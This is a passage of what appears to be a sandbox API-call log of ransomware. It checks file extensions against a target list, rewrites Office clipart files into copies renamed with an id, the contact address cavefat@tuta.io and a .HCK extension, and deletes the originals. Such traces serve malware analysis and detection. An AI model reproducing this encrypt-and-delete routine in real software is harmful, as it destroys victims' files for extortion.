[0180.054] lstrlenW (lpString=".jpg") returned 4 [0180.054] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0180.054] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0180.054] lstrlenW (lpString="PH03205I.JPG") returned 12 [0180.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.056] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=41795) returned 1 [0180.056] CloseHandle (hObject=0x300) returned 1 [0180.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg")) returned 0x220 [0180.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.060] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.061] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.063] GetLastError () returned 0x0 [0180.063] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xa343, lpOverlapped=0x0) returned 1 [0180.066] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xa350, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xa350, lpOverlapped=0x0) returned 1 [0180.068] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.068] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.068] SetEndOfFile (hFile=0x300) returned 1 [0180.069] CloseHandle (hObject=0x300) returned 1 [0180.073] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.073] SetEndOfFile (hFile=0x368) returned 1 [0180.077] CloseHandle (hObject=0x368) returned 1 [0180.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg")) returned 1 [0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.083] lstrlenW (lpString=".doc") returned 4 [0180.083] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.083] lstrlenW (lpString=".docx") returned 5 [0180.083] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.083] lstrlenW (lpString=".pdf") returned 4 [0180.083] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.083] lstrlenW (lpString=".xls") returned 4 [0180.083] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.083] lstrlenW (lpString=".xlsx") returned 5 [0180.083] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.083] lstrlenW (lpString=".ppt") returned 4 [0180.083] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.083] lstrlenW (lpString=".zip") returned 4 [0180.083] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.083] lstrlenW (lpString=".rar") returned 4 [0180.083] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.083] lstrlenW (lpString=".bz2") returned 4 [0180.083] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.083] lstrlenW (lpString=".7z") returned 3 [0180.083] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.083] lstrlenW (lpString=".dbf") returned 4 [0180.083] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.083] lstrlenW (lpString=".1cd") returned 4 [0180.083] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.083] lstrlenW (lpString=".jpg") returned 4 [0180.083] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.083] lstrlenW (lpString=".doc") returned 4 [0180.083] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.083] lstrlenW (lpString=".docx") returned 5 [0180.083] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.083] lstrlenW (lpString=".pdf") returned 4 [0180.083] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.083] lstrlenW (lpString=".xls") returned 4 [0180.083] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.083] lstrlenW (lpString=".xlsx") returned 5 [0180.083] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.083] lstrlenW (lpString=".ppt") returned 4 [0180.083] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.083] lstrlenW (lpString=".zip") returned 4 [0180.084] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.084] lstrlenW (lpString=".rar") returned 4 [0180.084] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.084] lstrlenW (lpString=".bz2") returned 4 [0180.084] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.084] lstrlenW (lpString=".7z") returned 3 [0180.084] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.084] lstrlenW (lpString=".dbf") returned 4 [0180.084] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.084] lstrlenW (lpString=".1cd") returned 4 [0180.084] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 68 [0180.084] lstrlenW (lpString=".jpg") returned 4 [0180.084] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.084] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0180.084] lstrlenW (lpString="PH03425I.JPG") returned 12 [0180.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.087] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=48558) returned 1 [0180.087] CloseHandle (hObject=0x300) returned 1 [0180.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg")) returned 0x220 [0180.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.091] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.091] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.095] GetLastError () returned 0x0 [0180.095] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xbdae, lpOverlapped=0x0) returned 1 [0180.098] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xbdb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xbdb0, lpOverlapped=0x0) returned 1 [0180.099] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.099] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.099] SetEndOfFile (hFile=0x368) returned 1 [0180.100] CloseHandle (hObject=0x368) returned 1 [0180.102] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.102] SetEndOfFile (hFile=0x300) returned 1 [0180.105] CloseHandle (hObject=0x300) returned 1 [0180.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg")) returned 1 [0180.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.110] lstrlenW (lpString=".doc") returned 4 [0180.110] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.110] lstrlenW (lpString=".docx") returned 5 [0180.110] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.110] lstrlenW (lpString=".pdf") returned 4 [0180.110] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.110] lstrlenW (lpString=".xls") returned 4 [0180.110] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.110] lstrlenW (lpString=".xlsx") returned 5 [0180.110] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.110] lstrlenW (lpString=".ppt") returned 4 [0180.110] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.110] lstrlenW (lpString=".zip") returned 4 [0180.110] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.110] lstrlenW (lpString=".rar") returned 4 [0180.110] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.110] lstrlenW (lpString=".bz2") returned 4 [0180.110] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.110] lstrlenW (lpString=".7z") returned 3 [0180.110] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.110] lstrlenW (lpString=".dbf") returned 4 [0180.110] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.110] lstrlenW (lpString=".1cd") returned 4 [0180.110] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.110] lstrlenW (lpString=".jpg") returned 4 [0180.110] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.110] lstrlenW (lpString=".doc") returned 4 [0180.110] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.110] lstrlenW (lpString=".docx") returned 5 [0180.110] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.110] lstrlenW (lpString=".pdf") returned 4 [0180.110] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.110] lstrlenW (lpString=".xls") returned 4 [0180.110] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.110] lstrlenW (lpString=".xlsx") returned 5 [0180.110] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.110] lstrlenW (lpString=".ppt") returned 4 [0180.110] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.111] lstrlenW (lpString=".zip") returned 4 [0180.111] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.111] lstrlenW (lpString=".rar") returned 4 [0180.111] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.111] lstrlenW (lpString=".bz2") returned 4 [0180.111] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.111] lstrlenW (lpString=".7z") returned 3 [0180.111] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.111] lstrlenW (lpString=".dbf") returned 4 [0180.111] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.111] lstrlenW (lpString=".1cd") returned 4 [0180.111] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 68 [0180.111] lstrlenW (lpString=".jpg") returned 4 [0180.111] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.111] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.111] lstrlenW (lpString="PSSKETLG.WMF") returned 12 [0180.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.112] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3594) returned 1 [0180.112] CloseHandle (hObject=0x39c) returned 1 [0180.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf")) returned 0x220 [0180.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.115] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.115] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.117] GetLastError () returned 0x0 [0180.117] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xe0a, lpOverlapped=0x0) returned 1 [0180.119] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe10, lpOverlapped=0x0) returned 1 [0180.120] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.120] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.120] SetEndOfFile (hFile=0x39c) returned 1 [0180.122] CloseHandle (hObject=0x39c) returned 1 [0180.122] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.123] SetEndOfFile (hFile=0x2fc) returned 1 [0180.126] CloseHandle (hObject=0x2fc) returned 1 [0180.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf")) returned 1 [0180.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.128] lstrlenW (lpString=".doc") returned 4 [0180.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.128] lstrlenW (lpString=".docx") returned 5 [0180.128] lstrcmpiW (lpString1=".docx", lpString2="G.WMF") returned -1 [0180.128] lstrlenW (lpString=".pdf") returned 4 [0180.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.128] lstrlenW (lpString=".xls") returned 4 [0180.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.128] lstrlenW (lpString=".xlsx") returned 5 [0180.128] lstrcmpiW (lpString1=".xlsx", lpString2="G.WMF") returned -1 [0180.128] lstrlenW (lpString=".ppt") returned 4 [0180.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.128] lstrlenW (lpString=".zip") returned 4 [0180.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.128] lstrlenW (lpString=".rar") returned 4 [0180.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.128] lstrlenW (lpString=".bz2") returned 4 [0180.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.128] lstrlenW (lpString=".7z") returned 3 [0180.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.128] lstrlenW (lpString=".dbf") returned 4 [0180.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.128] lstrlenW (lpString=".1cd") returned 4 [0180.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.129] lstrlenW (lpString=".jpg") returned 4 [0180.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.129] lstrlenW (lpString=".doc") returned 4 [0180.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.129] lstrlenW (lpString=".docx") returned 5 [0180.129] lstrcmpiW (lpString1=".docx", lpString2="G.WMF") returned -1 [0180.129] lstrlenW (lpString=".pdf") returned 4 [0180.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.129] lstrlenW (lpString=".xls") returned 4 [0180.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.129] lstrlenW (lpString=".xlsx") returned 5 [0180.129] lstrcmpiW (lpString1=".xlsx", lpString2="G.WMF") returned -1 [0180.129] lstrlenW (lpString=".ppt") returned 4 [0180.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.129] lstrlenW (lpString=".zip") returned 4 [0180.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.129] lstrlenW (lpString=".rar") returned 4 [0180.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.129] lstrlenW (lpString=".bz2") returned 4 [0180.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.129] lstrlenW (lpString=".7z") returned 3 [0180.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.129] lstrlenW (lpString=".dbf") returned 4 [0180.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.129] lstrlenW (lpString=".1cd") returned 4 [0180.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 68 [0180.129] lstrlenW (lpString=".jpg") returned 4 [0180.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.129] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.129] lstrlenW (lpString="RE00006_.WMF") returned 12 [0180.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft 